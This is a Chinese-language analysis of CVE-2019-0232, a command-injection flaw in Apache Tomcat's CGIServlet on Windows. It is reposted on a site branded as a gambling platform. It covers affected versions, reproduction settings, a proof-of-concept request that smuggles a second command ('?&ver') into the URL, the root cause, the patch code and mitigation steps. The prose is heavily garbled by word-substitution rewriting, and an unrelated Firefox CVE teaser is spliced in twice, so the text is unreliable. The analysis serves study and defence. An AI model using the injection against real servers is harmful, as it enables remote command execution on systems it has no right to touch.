CVE-2019-0232:Apache Tomcat RCE破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2019-0232:Apache Tomcat RCE破绽剖析

申博_安全防护 申博 242次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

简介

应用条件

该破绽是因为Tomcat CGI将敕令行参数通报给Windows顺序的体式格局存在毛病,使得CGIServlet被敕令注入影响。

该破绽只影响Windows平台,请求启用了CGIServlet和enableCmdLineArguments参数。然则CGIServlet和enableCmdLineArguments参数默许情况下都不启用。

时间线

  • 申报破绽 2019-3-3
  • 破绽公然 2019-4-10

破绽影响局限

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

复现

笔者运用的复现情况为9.0.12 + JRE 1.8.0。

起首举行CGI相干的设置装备摆设,在 conf/web.xml 中启用CGIServlet:

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>enableCmdLineArguments</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

这里重要的设置是 enableCmdLineArgumentsexecutable 两个选项。 enableCmdLineArguments 启用后才会将Url中的参数通报到敕令行, executable 指定了实行的二进制文件,默许是 perl,须要置为空才会实行文件自身。

一样在 conf/web.xml 中启用cgi的servlet-mapping

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

以后修正 conf/context.xml<Context> 增加 privileged="true"属性,否则会没有权限

<Context privileged="true">

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

然后在 ROOT\WEB-INF 下建立 cgi-bin 目次, 并在该目次下建立一个内容为 echo Content-type: text/htmle.bat 文件。

CVE-2018-18500:利用Firefox的堆漏洞进行攻击

概要 本文是关于CVE-2018-18500的一个Mozilla Firefox安全漏洞,由SophosLabs于2018年11月发布并向Mozilla Foundation报告。 此安全漏洞涉及Gecko(Firefox的浏览器引擎)中的软件错误,其中包含负责解析网页的代码。通过对网页进行恶意

设置装备摆设完成后,启动tomcat,接见 http://127.0.0.1:8080/cgi-bin/e.bat?&ver ,能够看到敕令实行胜利。

道理

破绽相干的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet供应了一个cgi的挪用接口,在启用enableCmdLineArguments参数时,会依据RFC 3875来从Url参数中生成敕令行参数,并把参数通报至Java的 Runtime 实行。 这个破绽是因为Windows下参数处置惩罚的特征致使的,详细的处置惩罚体式格局能够看微软的这篇文章。

下面以一个简朴的case来申明这个题目,在Windows下建立arg.bat

rem arg.bat
echo %*

并实行以下的Java代码

String [] cmd={"arg.bat", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

在Windows下会输出 argdir 敕令运转后的效果。

一样的,用相似的剧本在Linux情况下测试:

# arg.sh
for key in "$@"
do
    echo '$@' $key
done
String [] cmd={"arg.sh", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

此时的输出为

$@ arg
$@ &
$@ dir

这个例子能够对照清楚的看出破绽的成因。

修复体式格局

开发者在 patch 中增加了 cmdLineArgumentsDecoded 参数,这个参数用来校验传入的敕令行参数,若是传入的敕令行参数不符合划定的形式,则不实行。

校验写在 setupFromRequest 函数中:

String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
        !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
    if (log.isDebugEnabled()) {
        log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
                decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
    }
    return false;
}

欠亨过期,会将 CGIEnvironmentvalid 参数设为 false ,在以后的处置惩罚函数中会直接跳过实行。

if (cgiEnv.isValid()) {
    CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
                                  cgiEnv.getEnvironment(),
                                  cgiEnv.getWorkingDirectory(),
                                  cgiEnv.getParameters());

    if ("POST".equals(req.getMethod())) {
        cgi.setInput(req.getInputStream());
    }
    cgi.setResponse(res);
    cgi.run();
} else {
    res.sendError(404);
}

修复发起

  1. 运用更新版本的Apache Tomcat。这里须要注重的是,虽然在9.0.18就修复了这个破绽,但这个更新是并没有经由过程候选版本的投票,以是虽然9.0.18没有在被影响的列表中,用户仍须要下载9.0.19的版正本取得没有该破绽的版本。
  2. 封闭enableCmdLineArguments参数

CVE-2018-18500:利用Firefox的堆漏洞进行攻击

概要 本文是关于CVE-2018-18500的一个Mozilla Firefox安全漏洞,由SophosLabs于2018年11月发布并向Mozilla Foundation报告。 此安全漏洞涉及Gecko(Firefox的浏览器引擎)中的软件错误,其中包含负责解析网页的代码。通过对网页进行恶意


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2019-0232:Apache Tomcat RCE破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址